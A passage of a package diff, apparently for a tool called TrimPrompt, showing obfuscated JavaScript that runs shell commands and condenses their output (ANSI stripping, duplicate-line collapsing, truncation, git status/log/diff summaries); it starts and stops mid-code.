_0x2c1c3a=a0_0x5673ec;Object[_0x2c1c3a(0x13f)](_0x2f0a65,'default',{'enumerable':!![],'value':_0x2498d8});}:function(_0x4a090e,_0x3b514c){_0x4a090e['default']=_0x3b514c;}),__importStar=this&&this['__importStar']||(function(){var _0x277b9c=function(_0x21cddd){var _0x171dd9=a0_0x3e07;return _0x277b9c=Object[_0x171dd9(0x135)]||function(_0x5bf80c){var _0x4f0a30=_0x171dd9,_0x5991da=[];for(var _0x1042b4 in _0x5bf80c)if(Object['prototype'][_0x4f0a30(0x13e)][_0x4f0a30(0x145)](_0x5bf80c,_0x1042b4))_0x5991da[_0x5991da[_0x4f0a30(0x134)]]=_0x1042b4;return _0x5991da;},_0x277b9c(_0x21cddd);};return function(_0x4e1d2f){var _0x3a3e0a=a0_0x3e07;if(_0x4e1d2f&&_0x4e1d2f[_0x3a3e0a(0x141)])return _0x4e1d2f;var _0x25b1c6={};if(_0x4e1d2f!=null){for(var _0x5ad265=_0x277b9c(_0x4e1d2f),_0x5648c4=0x0;_0x5648c4<_0x5ad265[_0x3a3e0a(0x134)];_0x5648c4++)if(_0x5ad265[_0x5648c4]!==_0x3a3e0a(0x12f))__createBinding(_0x25b1c6,_0x4e1d2f,_0x5ad265[_0x5648c4]);}return __setModuleDefault(_0x25b1c6,_0x4e1d2f),_0x25b1c6;};}());Object[a0_0x5673ec(0x13f)](exports,a0_0x5673ec(0x141),{'value':!![]}),exports[a0_0x5673ec(0x144)]=executeCommand;const child_process_1=require(a0_0x5673ec(0x142)),path=__importStar(require(a0_0x5673ec(0x13c))),os=__importStar(require('os'));function executeCommand(_0x4a1bbf,_0x7e6e9a){return new Promise(_0x2640a3=>{var _0x11a89f=a0_0x3e07;const _0x194cfa=path[_0x11a89f(0x14b)](os[_0x11a89f(0x153)](),'.trimprompt',_0x11a89f(0x137)),_0x413240=(process.env.PATH||'')[_0x11a89f(0x147)](path[_0x11a89f(0x149)])[_0x11a89f(0x13a)](_0x3a1931=>_0x3a1931[_0x11a89f(0x14a)]()[_0x11a89f(0x14e)]()!==_0x194cfa[_0x11a89f(0x14e)]())[_0x11a89f(0x14b)](path[_0x11a89f(0x149)]),_0x19977b={...process.env,'PATH':_0x413240,'TRIMPROMPT_DISABLED':'1'},_0x50a889=(0x0,child_process_1[_0x11a89f(0x12e)])(_0x4a1bbf,_0x7e6e9a,{'stdio':['inherit',_0x11a89f(0x139),_0x11a89f(0x139)],'shell':!![],'env':_0x19977b});let _0x705567='',_0x24d4a0='';_0x50a889[_0x11a89f(0x13b)]?.['on'](_0x11a89f(0x132),_0x3c941e=>{_0x705567+=_0x3c941e['toString']();}),_0x50a889[_0x11a89f(0x131)]?.['on'](_0x11a89f(0x132),_0x560983=>{_0x24d4a0+=_0x560983['toString']();}),_0x50a889['on']('error',_0x5db34d=>{var _0x982289=_0x11a89f;_0x2640a3({'exitCode':0x1,'stdout':'','stderr':_0x982289(0x151)+_0x4a1bbf+_0x982289(0x150)+_0x5db34d[_0x982289(0x138)]});}),_0x50a889['on']('close',_0x3e80b1=>{_0x2640a3({'exitCode':_0x3e80b1??0x0,'stdout':_0x705567,'stderr':_0x24d4a0});});});}
1
+ 'use strict';var a0_0x424952=a0_0x6437;(function(_0x150ebb,_0x29e9f7){var _0x48b531=a0_0x6437,_0x45484d=_0x150ebb();while(!![]){try{var _0x181ba1=parseInt(_0x48b531(0x14b))/0x1+-parseInt(_0x48b531(0x14e))/0x2+-parseInt(_0x48b531(0x146))/0x3*(parseInt(_0x48b531(0x148))/0x4)+parseInt(_0x48b531(0x13d))/0x5*(parseInt(_0x48b531(0x140))/0x6)+parseInt(_0x48b531(0x153))/0x7+parseInt(_0x48b531(0x157))/0x8+parseInt(_0x48b531(0x147))/0x9*(-parseInt(_0x48b531(0x159))/0xa);if(_0x181ba1===_0x29e9f7)break;else _0x45484d['push'](_0x45484d['shift']());}catch(_0x297522){_0x45484d['push'](_0x45484d['shift']());}}}(a0_0xa1bb,0x3930b));function a0_0x6437(_0xf34e9b,_0x287de7){_0xf34e9b=_0xf34e9b-0x132;var _0xa1bb36=a0_0xa1bb();var _0x6437d9=_0xa1bb36[_0xf34e9b];return _0x6437d9;}function a0_0xa1bb(){var _0x5262d5=['default','error','213478DPainl','inherit','toString','close','trim','1817039lzbGMi','filter','getOwnPropertyDescriptor','length','1479432nOecFl','toLowerCase','47950NkJOtu','Failed\x20to\x20spawn\x20command\x20\x22','create','homedir','__esModule','message','join','getOwnPropertyNames','path','writable','pipe','__setModuleDefault','executeCommand','spawn','split','20VRPzbg','data','configurable','440934ZhfGWq','delimiter','.trimprompt','defineProperty','call','child_process','18btOOBy','1206xqsTWB','65388JHsmnA','__createBinding','shims','343140uesRde'];a0_0xa1bb=function(){return _0x5262d5;};return a0_0xa1bb();}var __createBinding=this&&this[a0_0x424952(0x149)]||(Object['create']?function(_0x5553c8,_0x30ad57,_0x240b8c,_0x4d01ca){var _0x3eed66=a0_0x424952;if(_0x4d01ca===undefined)_0x4d01ca=_0x240b8c;var _0x52c18d=Object[_0x3eed66(0x155)](_0x30ad57,_0x240b8c);(!_0x52c18d||('get'in _0x52c18d?!_0x30ad57[_0x3eed66(0x132)]:_0x52c18d[_0x3eed66(0x137)]||_0x52c18d[_0x3eed66(0x13f)]))&&(_0x52c18d={'enumerable':!![],'get':function(){return _0x30ad57[_0x240b8c];}}),Object[_0x3eed66(0x143)](_0x5553c8,_0x4d01ca,_0x52c18d);}:function(_0x1cf4e7,_0x44cf1e,_0xe2c905,_0x55c496){if(_0x55c496===undefined)_0x55c496=_0xe2c905;_0x1cf4e7[_0x55c496]=_0x44cf1e[_0xe2c905];}),__setModuleDefault=this&&this[a0_0x424952(0x139)]||(Object[a0_0x424952(0x15b)]?function(_0xd4cf26,_0x5661bf){var _0x1832e4=a0_0x424952;Object['defineProperty'](_0xd4cf26,_0x1832e4(0x14c),{'enumerable':!![],'value':_0x5661bf});}:function(_0x5a2866,_0x468767){var _0x4bc3a0=a0_0x424952;_0x5a2866[_0x4bc3a0(0x14c)]=_0x468767;}),__importStar=this&&this['__importStar']||(function(){var _0x1d55e9=function(_0x41c1e6){var _0x4c8b2f=a0_0x6437;return _0x1d55e9=Object[_0x4c8b2f(0x135)]||function(_0x375de1){var _0x2b2250=_0x4c8b2f,_0x5b216d=[];for(var _0x54ac5e in _0x375de1)if(Object['prototype']['hasOwnProperty'][_0x2b2250(0x144)](_0x375de1,_0x54ac5e))_0x5b216d[_0x5b216d[_0x2b2250(0x156)]]=_0x54ac5e;return _0x5b216d;},_0x1d55e9(_0x41c1e6);};return function(_0x2d8a49){var _0x3812cb=a0_0x6437;if(_0x2d8a49&&_0x2d8a49[_0x3812cb(0x132)])return _0x2d8a49;var _0x30a314={};if(_0x2d8a49!=null){for(var _0x43ff5b=_0x1d55e9(_0x2d8a49),_0x2adeca=0x0;_0x2adeca<_0x43ff5b['length'];_0x2adeca++)if(_0x43ff5b[_0x2adeca]!==_0x3812cb(0x14c))__createBinding(_0x30a314,_0x2d8a49,_0x43ff5b[_0x2adeca]);}return __setModuleDefault(_0x30a314,_0x2d8a49),_0x30a314;};}());Object[a0_0x424952(0x143)](exports,a0_0x424952(0x132),{'value':!![]}),exports[a0_0x424952(0x13a)]=executeCommand;const child_process_1=require(a0_0x424952(0x145)),path=__importStar(require(a0_0x424952(0x136))),os=__importStar(require('os'));function executeCommand(_0x462aee,_0x446ed9){return new Promise(_0x5c33f1=>{var _0x38f71a=a0_0x6437;const _0x5cbd94=path['join'](os[_0x38f71a(0x15c)](),_0x38f71a(0x142),_0x38f71a(0x14a)),_0x2e8ab2=(process.env.PATH||'')[_0x38f71a(0x13c)](path[_0x38f71a(0x141)])[_0x38f71a(0x154)](_0xabb033=>_0xabb033[_0x38f71a(0x152)]()[_0x38f71a(0x158)]()!==_0x5cbd94[_0x38f71a(0x158)]())[_0x38f71a(0x134)](path['delimiter']),_0x2f4e36={...process.env,'PATH':_0x2e8ab2,'TRIMPROMPT_DISABLED':'1'},_0x138943=(0x0,child_process_1[_0x38f71a(0x13b)])(_0x462aee,_0x446ed9,{'stdio':[_0x38f71a(0x14f),_0x38f71a(0x138),_0x38f71a(0x138)],'shell':!![],'env':_0x2f4e36});let _0x59a529='',_0xea7476='';_0x138943['stdout']?.['on'](_0x38f71a(0x13e),_0x387bec=>{_0x59a529+=_0x387bec['toString']();}),_0x138943['stderr']?.['on'](_0x38f71a(0x13e),_0x3bc7fc=>{var _0x2b4118=_0x38f71a;_0xea7476+=_0x3bc7fc[_0x2b4118(0x150)]();}),_0x138943['on'](_0x38f71a(0x14d),_0x570dbb=>{var _0x540e7c=_0x38f71a;_0x5c33f1({'exitCode':0x1,'stdout':'','stderr':_0x540e7c(0x15a)+_0x462aee+'\x22:\x20'+_0x570dbb[_0x540e7c(0x133)]});}),_0x138943['on'](_0x38f71a(0x151),_0xdc9052=>{_0x5c33f1({'exitCode':_0xdc9052??0x0,'stdout':_0x59a529,'stderr':_0xea7476});});});}
@@ -1 +1 @@
1
- 'use strict';function a0_0x1c9a(){const _0x5f206e=['837732jjlfsw','24GrPUXC','length','\x20[x','260761LbwCNL','915468iZskGJ','\x0a...\x20[TrimPrompt:\x20Truncated\x20','__esModule','slice','279725JkJKle','join','defineProperty','split','push','2128LrnXXp','2FRbleG','15183PvwmXl','12475460DRYtKh','6567428mOgETm','11qTHsHP','stripAnsi','collapseDuplicates','softTruncate'];a0_0x1c9a=function(){return _0x5f206e;};return a0_0x1c9a();}function a0_0x1bac(_0x4f252c,_0x338466){_0x4f252c=_0x4f252c-0x15e;const _0x1c9a78=a0_0x1c9a();let _0x1bac1d=_0x1c9a78[_0x4f252c];return _0x1bac1d;}const a0_0x303f34=a0_0x1bac;(function(_0x3a3a6b,_0x5db652){const _0x560c3d=a0_0x1bac,_0x147f24=_0x3a3a6b();while(!![]){try{const _0x5508b0=-parseInt(_0x560c3d(0x170))/0x1*(-parseInt(_0x560c3d(0x164))/0x2)+parseInt(_0x560c3d(0x16c))/0x3+parseInt(_0x560c3d(0x171))/0x4+-parseInt(_0x560c3d(0x15e))/0x5*(parseInt(_0x560c3d(0x16d))/0x6)+parseInt(_0x560c3d(0x167))/0x7+parseInt(_0x560c3d(0x163))/0x8*(parseInt(_0x560c3d(0x165))/0x9)+-parseInt(_0x560c3d(0x166))/0xa*(parseInt(_0x560c3d(0x168))/0xb);if(_0x5508b0===_0x5db652)break;else _0x147f24['push'](_0x147f24['shift']());}catch(_0x173acd){_0x147f24['push'](_0x147f24['shift']());}}}(a0_0x1c9a,0xa71cc));Object[a0_0x303f34(0x160)](exports,a0_0x303f34(0x173),{'value':!![]}),exports[a0_0x303f34(0x169)]=stripAnsi,exports[a0_0x303f34(0x16a)]=collapseDuplicates,exports[a0_0x303f34(0x16b)]=softTruncate;function stripAnsi(_0x321b9c){const _0x56072e=/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g;return _0x321b9c['replace'](_0x56072e,'');}function collapseDuplicates(_0x367811){const _0xb1e1b9=a0_0x303f34,_0x43f4f4=_0x367811[_0xb1e1b9(0x161)]('\x0a');if(_0x43f4f4[_0xb1e1b9(0x16e)]<=0x1)return _0x367811;const _0x5eb100=[];let _0x56d28e=_0x43f4f4[0x0],_0x2547e5=0x1;for(let _0x46860f=0x1;_0x46860f<_0x43f4f4[_0xb1e1b9(0x16e)];_0x46860f++){const _0x671947=_0x43f4f4[_0x46860f];_0x671947===_0x56d28e&&_0x671947['trim']()[_0xb1e1b9(0x16e)]>0x0?_0x2547e5++:(_0x2547e5>0x1?_0x5eb100[_0xb1e1b9(0x162)](_0x56d28e+'\x20[x'+_0x2547e5+']'):_0x5eb100['push'](_0x56d28e),_0x56d28e=_0x671947,_0x2547e5=0x1);}return _0x2547e5>0x1?_0x5eb100[_0xb1e1b9(0x162)](_0x56d28e+_0xb1e1b9(0x16f)+_0x2547e5+']'):_0x5eb100['push'](_0x56d28e),_0x5eb100[_0xb1e1b9(0x15f)]('\x0a');}function softTruncate(_0x3e89ea,_0x4bccff=0x4e20){const _0x58874a=a0_0x303f34;if(_0x3e89ea[_0x58874a(0x16e)]<=_0x4bccff)return _0x3e89ea;const _0x465a17=_0x3e89ea[_0x58874a(0x161)]('\x0a');if(_0x465a17[_0x58874a(0x16e)]<=0xc8)return _0x3e89ea;const _0x5d1739=0x32,_0x72ded6=0x96,_0x1847d0=_0x465a17[_0x58874a(0x174)](0x0,_0x5d1739),_0x26d304=_0x465a17[_0x58874a(0x174)](_0x465a17['length']-_0x72ded6),_0x18250c=_0x3e89ea[_0x58874a(0x16e)]-(_0x1847d0[_0x58874a(0x15f)]('\x0a')['length']+_0x26d304[_0x58874a(0x15f)]('\x0a')[_0x58874a(0x16e)]);return[..._0x1847d0,_0x58874a(0x172)+_0x18250c+'\x20characters\x20of\x20output]\x20...\x0a',..._0x26d304][_0x58874a(0x15f)]('\x0a');}
1
+ 'use strict';const a0_0x1ac277=a0_0x2d06;(function(_0x1cc00e,_0x404c1e){const _0x1499b5=a0_0x2d06,_0x1cccdf=_0x1cc00e();while(!![]){try{const _0x20d64d=-parseInt(_0x1499b5(0x137))/0x1+parseInt(_0x1499b5(0x140))/0x2*(-parseInt(_0x1499b5(0x142))/0x3)+-parseInt(_0x1499b5(0x14b))/0x4+-parseInt(_0x1499b5(0x147))/0x5+parseInt(_0x1499b5(0x13a))/0x6+parseInt(_0x1499b5(0x145))/0x7+parseInt(_0x1499b5(0x144))/0x8;if(_0x20d64d===_0x404c1e)break;else _0x1cccdf['push'](_0x1cccdf['shift']());}catch(_0x22fb18){_0x1cccdf['push'](_0x1cccdf['shift']());}}}(a0_0x328f,0xacb64));Object[a0_0x1ac277(0x148)](exports,a0_0x1ac277(0x149),{'value':!![]}),exports[a0_0x1ac277(0x14a)]=stripAnsi,exports[a0_0x1ac277(0x139)]=collapseDuplicates,exports['softTruncate']=softTruncate;function stripAnsi(_0x16bfbf){const _0x4e7b20=a0_0x1ac277,_0x431d92=/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g;return _0x16bfbf[_0x4e7b20(0x146)](_0x431d92,'');}function collapseDuplicates(_0x277449){const _0x4f846c=a0_0x1ac277,_0x467adc=_0x277449[_0x4f846c(0x13e)]('\x0a');if(_0x467adc[_0x4f846c(0x13c)]<=0x1)return _0x277449;const _0x40765d=[];let _0x2ba99a=_0x467adc[0x0],_0xcb3e46=0x1;for(let _0x3a9dea=0x1;_0x3a9dea<_0x467adc['length'];_0x3a9dea++){const _0x20ebbd=_0x467adc[_0x3a9dea];_0x20ebbd===_0x2ba99a&&_0x20ebbd[_0x4f846c(0x141)]()[_0x4f846c(0x13c)]>0x0?_0xcb3e46++:(_0xcb3e46>0x1?_0x40765d[_0x4f846c(0x143)](_0x2ba99a+_0x4f846c(0x136)+_0xcb3e46+']'):_0x40765d[_0x4f846c(0x143)](_0x2ba99a),_0x2ba99a=_0x20ebbd,_0xcb3e46=0x1);}return _0xcb3e46>0x1?_0x40765d[_0x4f846c(0x143)](_0x2ba99a+_0x4f846c(0x136)+_0xcb3e46+']'):_0x40765d[_0x4f846c(0x143)](_0x2ba99a),_0x40765d['join']('\x0a');}function a0_0x2d06(_0x11b799,_0x5b103e){_0x11b799=_0x11b799-0x136;const _0x328ff6=a0_0x328f();let _0x2d06cb=_0x328ff6[_0x11b799];return _0x2d06cb;}function a0_0x328f(){const _0x581728=['collapseDuplicates','4763376figfqL','slice','length','join','split','\x20characters\x20of\x20output]\x20...\x0a','176044MSAKPA','trim','30GJqrtu','push','14528808mBGeIR','1235892nysYcv','replace','139190AShFah','defineProperty','__esModule','stripAnsi','2622776pUlWwo','\x20[x','515373YzInhr','\x0a...\x20[TrimPrompt:\x20Truncated\x20'];a0_0x328f=function(){return _0x581728;};return a0_0x328f();}function softTruncate(_0x8f264b,_0x44291f=0x4e20){const _0x220fb9=a0_0x1ac277;if(_0x8f264b[_0x220fb9(0x13c)]<=_0x44291f)return _0x8f264b;const _0x438ec5=_0x8f264b['split']('\x0a');if(_0x438ec5[_0x220fb9(0x13c)]<=0xc8)return _0x8f264b;const _0x121f26=0x32,_0x28b510=0x96,_0x2cf481=_0x438ec5['slice'](0x0,_0x121f26),_0x1f257d=_0x438ec5[_0x220fb9(0x13b)](_0x438ec5[_0x220fb9(0x13c)]-_0x28b510),_0x23876a=_0x8f264b['length']-(_0x2cf481['join']('\x0a')['length']+_0x1f257d[_0x220fb9(0x13d)]('\x0a')[_0x220fb9(0x13c)]);return[..._0x2cf481,_0x220fb9(0x138)+_0x23876a+_0x220fb9(0x13f),..._0x1f257d][_0x220fb9(0x13d)]('\x0a');}
package/filters/git.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x358506=a0_0xd28b;(function(_0x595e54,_0x2712c5){const _0x815a32=a0_0xd28b,_0x1d1e9b=_0x595e54();while(!![]){try{const _0x1298d1=-parseInt(_0x815a32(0x1b0))/0x1+-parseInt(_0x815a32(0x1ba))/0x2+parseInt(_0x815a32(0x1cb))/0x3*(-parseInt(_0x815a32(0x1c4))/0x4)+parseInt(_0x815a32(0x1cc))/0x5+-parseInt(_0x815a32(0x1d7))/0x6+parseInt(_0x815a32(0x1d0))/0x7*(parseInt(_0x815a32(0x1ac))/0x8)+-parseInt(_0x815a32(0x1c2))/0x9*(-parseInt(_0x815a32(0x1c0))/0xa);if(_0x1298d1===_0x2712c5)break;else _0x1d1e9b['push'](_0x1d1e9b['shift']());}catch(_0xf89b7b){_0x1d1e9b['push'](_0x1d1e9b['shift']());}}}(a0_0x5254,0xa0914));var __createBinding=this&&this['__createBinding']||(Object[a0_0x358506(0x1d3)]?function(_0x491762,_0x370fd8,_0x5b2688,_0x3cb693){const _0xb4cc5e=a0_0x358506;if(_0x3cb693===undefined)_0x3cb693=_0x5b2688;var _0x17a936=Object[_0xb4cc5e(0x1c5)](_0x370fd8,_0x5b2688);(!_0x17a936||('get'in _0x17a936?!_0x370fd8['__esModule']:_0x17a936[_0xb4cc5e(0x1b1)]||_0x17a936['configurable']))&&(_0x17a936={'enumerable':!![],'get':function(){return _0x370fd8[_0x5b2688];}}),Object[_0xb4cc5e(0x1b3)](_0x491762,_0x3cb693,_0x17a936);}:function(_0x48a974,_0x2a3a24,_0x5aecc6,_0x524d0e){if(_0x524d0e===undefined)_0x524d0e=_0x5aecc6;_0x48a974[_0x524d0e]=_0x2a3a24[_0x5aecc6];}),__setModuleDefault=this&&this[a0_0x358506(0x1ae)]||(Object[a0_0x358506(0x1d3)]?function(_0x471aab,_0x250995){const _0x189d96=a0_0x358506;Object[_0x189d96(0x1b3)](_0x471aab,_0x189d96(0x1bf),{'enumerable':!![],'value':_0x250995});}:function(_0x3039db,_0x1fa1b8){const _0x5dd4d7=a0_0x358506;_0x3039db[_0x5dd4d7(0x1bf)]=_0x1fa1b8;}),__importStar=this&&this[a0_0x358506(0x1bc)]||(function(){var _0x28dbd3=function(_0x4f6367){const _0x401046=a0_0xd28b;return _0x28dbd3=Object[_0x401046(0x1d8)]||function(_0xcc583d){const _0x3a5af6=_0x401046;var _0x5d27d0=[];for(var _0x1bcccf in _0xcc583d)if(Object[_0x3a5af6(0x1af)][_0x3a5af6(0x1be)][_0x3a5af6(0x1c6)](_0xcc583d,_0x1bcccf))_0x5d27d0[_0x5d27d0['length']]=_0x1bcccf;return _0x5d27d0;},_0x28dbd3(_0x4f6367);};return function(_0x598fac){const _0x132d96=a0_0xd28b;if(_0x598fac&&_0x598fac[_0x132d96(0x1b6)])return _0x598fac;var _0x321775={};if(_0x598fac!=null){for(var _0x532968=_0x28dbd3(_0x598fac),_0x47d532=0x0;_0x47d532<_0x532968['length'];_0x47d532++)if(_0x532968[_0x47d532]!=='default')__createBinding(_0x321775,_0x598fac,_0x532968[_0x47d532]);}return __setModuleDefault(_0x321775,_0x598fac),_0x321775;};}());Object[a0_0x358506(0x1b3)](exports,a0_0x358506(0x1b6),{'value':!![]}),exports[a0_0x358506(0x1d2)]=filterGitStatus,exports[a0_0x358506(0x1bb)]=filterGitLog,exports['filterGitDiff']=filterGitDiff;function a0_0xd28b(_0x2833e0,_0x57d63a){_0x2833e0=_0x2833e0-0x1a8;const _0x52543a=a0_0x5254();let _0xd28bcf=_0x52543a[_0x2833e0];return _0xd28bcf;}const path=__importStar(require(a0_0x358506(0x1b8)));function filterGitStatus(_0x4a3d3b){const _0x201004=a0_0x358506,_0x2dd2bf=_0x4a3d3b[_0x201004(0x1aa)]('\x0a')['map'](_0x1ebfa3=>_0x1ebfa3[_0x201004(0x1c7)]())[_0x201004(0x1ab)](_0x4e4949=>_0x4e4949[_0x201004(0x1db)]>0x0);if(_0x2dd2bf[_0x201004(0x1db)]===0x0)return _0x201004(0x1bd);const _0x1fdbbc=[],_0x34025c=[],_0x323720=[];for(const _0x13b365 of _0x2dd2bf){if(_0x13b365[_0x201004(0x1b9)]('##')){const _0x4e4eae=_0x13b365['replace'](/^##\s*/,'');_0x1fdbbc['push'](_0x201004(0x1c8)+_0x4e4eae);}else _0x13b365[_0x201004(0x1b9)]('??')?_0x34025c[_0x201004(0x1d9)](_0x13b365[_0x201004(0x1b5)](0x3)['trim']()):_0x323720['push'](_0x13b365);}_0x323720[_0x201004(0x1db)]>0x0&&(_0x1fdbbc[_0x201004(0x1d9)](_0x201004(0x1c3)),_0x1fdbbc['push'](..._0x323720['map'](_0x1879ff=>'\x20\x20'+_0x1879ff)));if(_0x34025c[_0x201004(0x1db)]>0x0){_0x1fdbbc[_0x201004(0x1d9)](_0x201004(0x1ad));const _0xca641a={},_0x2125a9=[];for(const _0x28ac9a of _0x34025c){const _0x46685a=path[_0x201004(0x1b4)](_0x28ac9a);_0x46685a==='.'||_0x46685a===''?_0x2125a9['push'](_0x28ac9a):(!_0xca641a[_0x46685a]&&(_0xca641a[_0x46685a]=[]),_0xca641a[_0x46685a]['push'](path['basename'](_0x28ac9a)));}for(const [_0x48263b,_0x390dcd]of Object[_0x201004(0x1a8)](_0xca641a)){if(_0x390dcd['length']>0x5)_0x1fdbbc[_0x201004(0x1d9)]('\x20\x20??\x20'+_0x48263b+'/\x20('+_0x390dcd['length']+_0x201004(0x1cd));else for(const _0xf1cb28 of _0x390dcd){_0x1fdbbc[_0x201004(0x1d9)](_0x201004(0x1d5)+path[_0x201004(0x1d6)](_0x48263b,_0xf1cb28));}}for(const _0x1d7dc7 of _0x2125a9){_0x1fdbbc[_0x201004(0x1d9)]('\x20\x20??\x20'+_0x1d7dc7);}}return _0x1fdbbc[_0x201004(0x1d6)]('\x0a');}function filterGitLog(_0x4ef30e){const _0x54cebc=a0_0x358506,_0x1d91bc=_0x4ef30e[_0x54cebc(0x1aa)]('---END---')[_0x54cebc(0x1d4)](_0x41bdd3=>_0x41bdd3['trim']())[_0x54cebc(0x1ab)](_0x455471=>_0x455471[_0x54cebc(0x1db)]>0x0);if(_0x1d91bc[_0x54cebc(0x1db)]===0x0)return _0x4ef30e;const _0x4c4566=[];for(const _0x5aad3c of _0x1d91bc){const _0x48e7cf=_0x5aad3c[_0x54cebc(0x1aa)]('\x0a'),_0x28562b=_0x48e7cf[0x0]||'',_0x34b49d=_0x48e7cf['slice'](0x1)[_0x54cebc(0x1d4)](_0x576cd9=>_0x576cd9[_0x54cebc(0x1c7)]())[_0x54cebc(0x1ab)](_0x3922f6=>_0x3922f6[_0x54cebc(0x1db)]>0x0);_0x4c4566[_0x54cebc(0x1d9)]('-\x20'+_0x28562b),_0x34b49d[_0x54cebc(0x1db)]>0x0&&(_0x4c4566['push']('\x20\x20'+_0x34b49d[0x0]),_0x34b49d[_0x54cebc(0x1db)]>0x1&&_0x4c4566[_0x54cebc(0x1d9)](_0x54cebc(0x1ca)+(_0x34b49d[_0x54cebc(0x1db)]-0x1)+'\x20lines\x20of\x20description)'));}return _0x4c4566[_0x54cebc(0x1d6)]('\x0a');}function a0_0x5254(){const _0x241af3=['writable','+++','defineProperty','dirname','substring','__esModule','No\x20modifications','path','startsWith','635614lpJgNP','filterGitLog','__importStar','Clean\x20working\x20tree','hasOwnProperty','default','1310zxpmTa','\x20(+','152892fSQsMp','\x0aChanges:','76LqaGTd','getOwnPropertyDescriptor','call','trim','*\x20Branch:\x20','diff\x20--git','\x20\x20...\x20(+','138606nAOOkr','1277230GzZGSL','\x20untracked\x20files)','match','\x20more\x20modifications','1118432hhwdrV','---','filterGitStatus','create','map','\x20\x20??\x20','join','705840xtCMSS','getOwnPropertyNames','push','unknown_file','length','slice','entries','\x20\x20...\x20+','split','filter','16kswbWq','\x0aUntracked\x20files:','__setModuleDefault','prototype','829457ZxeSju'];a0_0x5254=function(){return _0x241af3;};return a0_0x5254();}function filterGitDiff(_0x23c550){const _0x5be143=a0_0x358506,_0x3a26b8=_0x23c550[_0x5be143(0x1aa)]('\x0a'),_0x2619c3=[];let _0xb68b6b='',_0x359485=0x0,_0x44bd7c=0x0,_0x4c4119=[];const _0x17f728=()=>{const _0x1139f9=_0x5be143;if(_0xb68b6b&&(_0x359485>0x0||_0x44bd7c>0x0)){_0x2619c3[_0x1139f9(0x1d9)]('[file]\x20'+_0xb68b6b+_0x1139f9(0x1c1)+_0x359485+'\x20-'+_0x44bd7c+')');const _0x445679=0xa,_0x1e6356=_0x4c4119[_0x1139f9(0x1dc)](0x0,_0x445679);for(const _0x466eca of _0x1e6356){_0x2619c3['push']('\x20\x20'+_0x466eca);}const _0x8050a7=_0x359485+_0x44bd7c-_0x445679;_0x8050a7>0x0&&_0x2619c3[_0x1139f9(0x1d9)](_0x1139f9(0x1a9)+_0x8050a7+_0x1139f9(0x1cf));}_0x359485=0x0,_0x44bd7c=0x0,_0x4c4119=[];};for(const _0x2335df of _0x3a26b8){if(_0x2335df[_0x5be143(0x1b9)](_0x5be143(0x1c9))){_0x17f728();const _0x501c7f=_0x2335df[_0x5be143(0x1ce)](/\sb\/(.+)$/);_0xb68b6b=_0x501c7f?_0x501c7f[0x1]:_0x5be143(0x1da);}else{if(_0x2335df[_0x5be143(0x1b9)]('+')&&!_0x2335df[_0x5be143(0x1b9)](_0x5be143(0x1b2)))_0x359485++,_0x4c4119['push'](_0x2335df);else _0x2335df[_0x5be143(0x1b9)]('-')&&!_0x2335df[_0x5be143(0x1b9)](_0x5be143(0x1d1))&&(_0x44bd7c++,_0x4c4119[_0x5be143(0x1d9)](_0x2335df));}}_0x17f728();const _0x54e039=_0x2619c3[_0x5be143(0x1d6)]('\x0a');return _0x54e039[_0x5be143(0x1db)]>0x0?_0x54e039:_0x5be143(0x1b7);}
1
+ 'use strict';function a0_0x127a(){const _0x5e6505=['\x0aChanges:','length','*\x20Branch:\x20','configurable','4385892gbpcJc','split','match','---END---','+++','\x20untracked\x20files)','\x20\x20...\x20+','\x20more\x20modifications','trim','filterGitDiff','/\x20(','startsWith','---','unknown_file','map','168Zqtitd','__setModuleDefault','filterGitLog','defineProperty','call','\x20(+','getOwnPropertyDescriptor','534513RbXTPq','312507akiVsd','30qgTXAM','slice','__esModule','Clean\x20working\x20tree','basename','diff\x20--git','310538EHcwIX','writable','prototype','__createBinding','filter','hasOwnProperty','2811411poubEE','__importStar','17205260lNVLjD','substring','\x0aUntracked\x20files:','[file]\x20','entries','\x20\x20??\x20','join','dirname','create','replace','push','132084sfrSrK','get','245VFNliL','default'];a0_0x127a=function(){return _0x5e6505;};return a0_0x127a();}const a0_0x24433a=a0_0x1d68;(function(_0x24d651,_0x34578f){const _0xb6ddb8=a0_0x1d68,_0x4f4797=_0x24d651();while(!![]){try{const _0x138006=-parseInt(_0xb6ddb8(0x136))/0x1+-parseInt(_0xb6ddb8(0x13d))/0x2*(parseInt(_0xb6ddb8(0x137))/0x3)+parseInt(_0xb6ddb8(0x150))/0x4*(-parseInt(_0xb6ddb8(0x152))/0x5)+parseInt(_0xb6ddb8(0x11f))/0x6+parseInt(_0xb6ddb8(0x135))/0x7*(parseInt(_0xb6ddb8(0x12e))/0x8)+parseInt(_0xb6ddb8(0x143))/0x9+parseInt(_0xb6ddb8(0x145))/0xa;if(_0x138006===_0x34578f)break;else _0x4f4797['push'](_0x4f4797['shift']());}catch(_0x126a4a){_0x4f4797['push'](_0x4f4797['shift']());}}}(a0_0x127a,0xd7de8));var __createBinding=this&&this[a0_0x24433a(0x140)]||(Object['create']?function(_0x4a37c2,_0x112ffd,_0x20c426,_0x4590f1){const _0x2b6dfb=a0_0x24433a;if(_0x4590f1===undefined)_0x4590f1=_0x20c426;var _0x37b397=Object[_0x2b6dfb(0x134)](_0x112ffd,_0x20c426);(!_0x37b397||(_0x2b6dfb(0x151)in _0x37b397?!_0x112ffd[_0x2b6dfb(0x139)]:_0x37b397[_0x2b6dfb(0x13e)]||_0x37b397[_0x2b6dfb(0x11e)]))&&(_0x37b397={'enumerable':!![],'get':function(){return _0x112ffd[_0x20c426];}}),Object[_0x2b6dfb(0x131)](_0x4a37c2,_0x4590f1,_0x37b397);}:function(_0x47d0ac,_0x58a18e,_0x2a912e,_0x307cef){if(_0x307cef===undefined)_0x307cef=_0x2a912e;_0x47d0ac[_0x307cef]=_0x58a18e[_0x2a912e];}),__setModuleDefault=this&&this[a0_0x24433a(0x12f)]||(Object[a0_0x24433a(0x14d)]?function(_0x114d13,_0x280515){const _0x16389e=a0_0x24433a;Object[_0x16389e(0x131)](_0x114d13,'default',{'enumerable':!![],'value':_0x280515});}:function(_0x276c9a,_0x39ed11){_0x276c9a['default']=_0x39ed11;}),__importStar=this&&this[a0_0x24433a(0x144)]||(function(){var _0x286ba8=function(_0x24db84){return 